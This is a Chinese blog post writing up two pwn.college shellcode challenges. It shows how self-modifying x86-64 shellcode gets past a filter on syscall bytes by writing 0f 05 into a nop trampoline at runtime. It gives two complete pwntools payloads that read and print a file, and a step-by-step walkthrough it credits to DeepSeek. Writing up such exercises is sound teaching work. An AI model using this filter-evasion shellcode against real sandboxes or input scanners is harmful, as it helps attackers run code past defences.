ShellCode绕过技巧
自修改ShellCode代码
示例选用pwncollege的syscall smugler,题目中提示了会对一些用户输入的shellcode中的十六进制字符进行过滤

下面是对这些十六进制串的解释:

以下是处理逻辑:

这里local_24是对用户输入shellcode做滑动窗口检测的指针,在用户输入后shellcode执行前对shellcode做两个字节每窗口的检测,如果shellcode中任意两字节长度字串为三种系统调用中的一个,就会被发现然后结束程序
自修改代码的编写
以下是完整的shellcode,编写分为几个部分
点击查看代码
sc = asm(f'''
/* smuggle the syscall opcode into the trampoline, one byte per store */
lea rax, [rip+marker]
mov byte ptr [rax], 0x0f
mov byte ptr [rax+1], 0x05
/* open(path, O_RDONLY, 0) */
mov edi, {PAGE + PATH_OFF}
xor esi, esi
xor edx, edx
mov eax, 2
call do_syscall
/* read(fd, buf, 0x200) */
mov edi, eax
mov esi, {hex(PAGE + BUF_OFF)}
mov edx, 0x200
xor eax, eax
call do_syscall
/* write(1, buf, n) */
mov edx, eax
mov edi, 1
mov esi, {hex(PAGE + BUF_OFF)}
mov eax, 1
call do_syscall
/* exit(0) */
xor edi, edi
mov eax, 60
call do_syscall
do_syscall:
marker:
nop
nop /* patched to 0f 05 (syscall) at runtime */
ret
''')
以下是deepseek生成内容
逐条指令拆解自修改 shellcode
我把这个 payload 从头到尾、一条指令一条指令地过一遍,说明每一步 CPU 状态、内存状态发生了什么。
先给出完整逻辑(简化版,忽略具体 syscall 参数):
; ============ 阶段 0:入口 ============
main:
lea rax, [rip + marker]
mov byte ptr [rax], 0x0f
mov byte ptr [rax+1], 0x05
; ============ 阶段 1:调用各系统调用 ============
mov rax, 2 ; sys_open
lea rdi, [rip + path]
mov rsi, 0
mov rdx, 0
call do_syscall
mov rax, 0 ; sys_read
mov rdi, 3
lea rsi, [rip + buf]
mov rdx, 0x100
call do_syscall
mov rax, 1 ; sys_write
mov rdi, 1
lea rsi, [rip + buf]
mov rdx, 0x100
call do_syscall
mov rax, 60 ; sys_exit
mov rdi, 0
call do_syscall
; ============ 阶段 2:蹦床 ============
marker:
nop ; 0x90 ← 运行时被改成 0x0f
nop ; 0x90 ← 运行时被改成 0x05
ret ; 0xc3
do_syscall:
call marker ; 跳到蹦床执行 syscall; ret
ret ; 回到调用点
下面逐条讲。
阶段 0:把 syscall 拼进内存
① lea rax, [rip + marker]
lea rax, [rip + marker]
- 作用: 把
marker标签的运行时地址算进rax。 lea= "load effective address",它不做内存访问,只做地址算术。[rip + marker]是 RIP 相对寻址:rip是当前指令地址,加上marker相对偏移,得到蹦床的绝对地址。- 结果:
rax = &marker(蹦床那 3 个字节的起始地址)。
为什么要
lea而不是mov rax, marker?因为 shellcode 位置不固定(mmap 到哪就是哪),用 RIP 相对才能拿到正确地址。
② mov byte ptr [rax], 0x0f
mov byte ptr [rax], 0x0f
- 作用: 往
rax指向的内存写一个字节0x0f。 byte ptr明确告诉汇编器:只写 1 字节(不是 4 字节、8 字节)。- 结果:
marker[0]从0x90(nop)变成0x0f。
内存变化:
marker: [0x90] [0x90] [0xc3] ← 之前
↓
marker: [0x0f] [0x90] [0xc3] ← 现在
③ mov byte ptr [rax+1], 0x05
mov byte ptr [rax+1], 0x05
- 作用: 往
rax+1(下一个字节)写0x05。 - 结果:
marker[1]从0x90变成0x05。
内存变化:
marker: [0x0f] [0x90] [0xc3]
↓
marker: [0x0f] [0x05] [0xc3] ← 现在是 syscall; ret 了!
到这里,蹦床已经在内存里"变成"了 syscall; ret。
关键点:输入流里这两条
mov的机器码是c6 00 0f和c6 40 01 05。
立即数0x0f和0x05是分在两处、不连续的,所以静态扫描永远看不到0f 05。
阶段 1:调用系统调用
这一段套路固定:设好寄存器 → call do_syscall。
④ mov rax, 2 + lea rdi, [rip+path] + mov rsi, 0 + mov rdx, 0
mov rax, 2 ; 系统调用号 2 = sys_open
lea rdi, [rip + path] ; 第一个参数:path 字符串地址
mov rsi, 0 ; 第二个参数:flags = O_RDONLY
mov rdx, 0 ; 第三个参数:mode = 0
-
Linux x86-64 的系统调用约定:
寄存器 用途 rax系统调用号 rdi参数 1 rsi参数 2 rdx参数 3 -
rax=2表示open;rdi指向文件路径;rsi=0表示只读。
⑤ call do_syscall
call do_syscall
- 作用: 跳到
do_syscall子程序。 call会把返回地址(call下一条指令的地址)压栈,然后跳转。- 结果: 控制权进入
do_syscall。
⑥ do_syscall 里的 call marker
do_syscall:
call marker
- 作用: 跳到
marker(蹦床)。 - 又压一次返回地址(
do_syscall里call marker的下一条指令地址)。 - 结果: 控制权进入蹦床。
⑦ 蹦床:syscall(原本是 nop)
marker:
0f 05 ; syscall ← 运行时被拼出来的
c3 ; ret
- CPU 取到
0f 05,执行真正的系统调用。 - 此刻
rax=2, rdi=path, rsi=0, rdx=0,所以内核执行open(path, O_RDONLY)。 - 返回值(文件描述符)放在
rax里。
⑧ 蹦床:ret
ret
- 弹出刚才
call marker压的返回地址,回到do_syscall的call marker下一条。
⑨ do_syscall 里的 ret
do_syscall:
call marker
ret ; ← 回到调用 do_syscall 的地方
- 再弹一次栈,回到主流程
call do_syscall的下一条。 - 至此一次系统调用完成,
rax里带着返回值。
后面
read(rax=0)、write(rax=1)、exit(rax=60)都是同样的流程:
设寄存器 →call do_syscall→ 蹦床执行syscall; ret→ 返回。
阶段 2:退出
⑩ mov rax, 60 + mov rdi, 0 + call do_syscall
mov rax, 60 ; sys_exit
mov rdi, 0 ; 退出码 0
call do_syscall
rax=60=exit,rdi=0= 退出码。- 这次
syscall执行后进程直接结束,不会返回。
整体执行流一览
main
├─ lea rax, [rip+marker] ; rax = &marker
├─ mov [rax], 0x0f ; marker[0] = 0f
├─ mov [rax+1], 0x05 ; marker[1] = 05 → 蹦床变成 syscall;ret
│
├─ mov rax,2 / rdi,rsi,rdx ; 设 open 参数
├─ call do_syscall ──┐
│ └─ call marker ──┐
│ └─ syscall (open)
│ └─ ret → 回 do_syscall
│ ┌─────────────────┘
│ └─ ret → 回 main
│
├─ mov rax,0 / ... ; 设 read 参数
├─ call do_syscall ──→ ... ──→ syscall (read)
│
├─ mov rax,1 / ... ; 设 write 参数
├─ call do_syscall ──→ ... ──→ syscall (write)
│
└─ mov rax,60 / rdi,0 ; 设 exit 参数
call do_syscall ──→ ... ──→ syscall (exit) → 进程结束
为什么每一步都"合法"(不含被禁字节)
| 指令 | 机器码 | 含 0f 05? |
|---|---|---|
lea rax,[rip+marker] |
48 8d 05 ... |
❌ |
mov byte ptr [rax], 0x0f |
c6 00 0f |
❌(0f 前面是 00) |
mov byte ptr [rax+1], 0x05 |
c6 40 01 05 |
❌(05 前面是 01) |
nop |
90 |
❌ |
ret |
c3 |
❌ |
call marker |
e8 ... |
❌ |
只有运行时蹦床内存里才出现 0f 05——而过滤器只在输入阶段扫描,扫不到它。
一句话总结
lea拿地址 → 两条mov byte ptr把0f和05分别写进蹦床 → 蹦床在内存里"变成"syscall; ret→ 之后每个系统调用都靠call do_syscall跳到蹦床执行 →ret返回。输入流全程无0f 05,syscall只在运行时内存里诞生。
自修改代码的约束
自修改内容必须在有RWX的页上进行,下一题syscall-shenanigans通过mmap给了两个页放shellcode,但是其中一个页在执行完过滤器后被通过mprotect移除了写权限,所以自修改代码只能放在第二页,在偏移 0x1080(属于第二页)放 nop; nop; ret 作为占位符
shellcode内容如下
点击查看代码
sc = asm(f'''
/* smuggle the syscall opcode into the second-page trampoline;
rbx keeps its address since call <abs> would need a relocation */
mov ebx, {hex(MARKER)}
mov byte ptr [rbx], 0x0f
mov byte ptr [rbx+1], 0x05
/* open(path, O_RDONLY, 0) */
mov edi, {hex(PAGE + PATH_OFF)}
xor esi, esi
xor edx, edx
mov eax, 2
call rbx
/* read(fd, buf, 0x200) */
mov edi, eax
mov esi, {hex(BUF)}
mov edx, 0x200
xor eax, eax
call rbx
/* write(1, buf, n) */
mov edx, eax
mov edi, 1
mov esi, {hex(BUF)}
mov eax, 1
call rbx
/* exit(0) */
xor edi, edi
mov eax, 60
call rbx
''')
sc = sc.ljust(PATH_OFF, b'\x90') + path + b'\x00'
sc = sc.ljust(MARK_OFF, b'\x90') + b'\x90\x90\xc3' # nop;nop -> patched to syscall, then ret
posted on 2026-10-08 09:31 d0ubleU0x00 阅读(5) 评论(0) 收藏 举报
浙公网安备 33010602011771号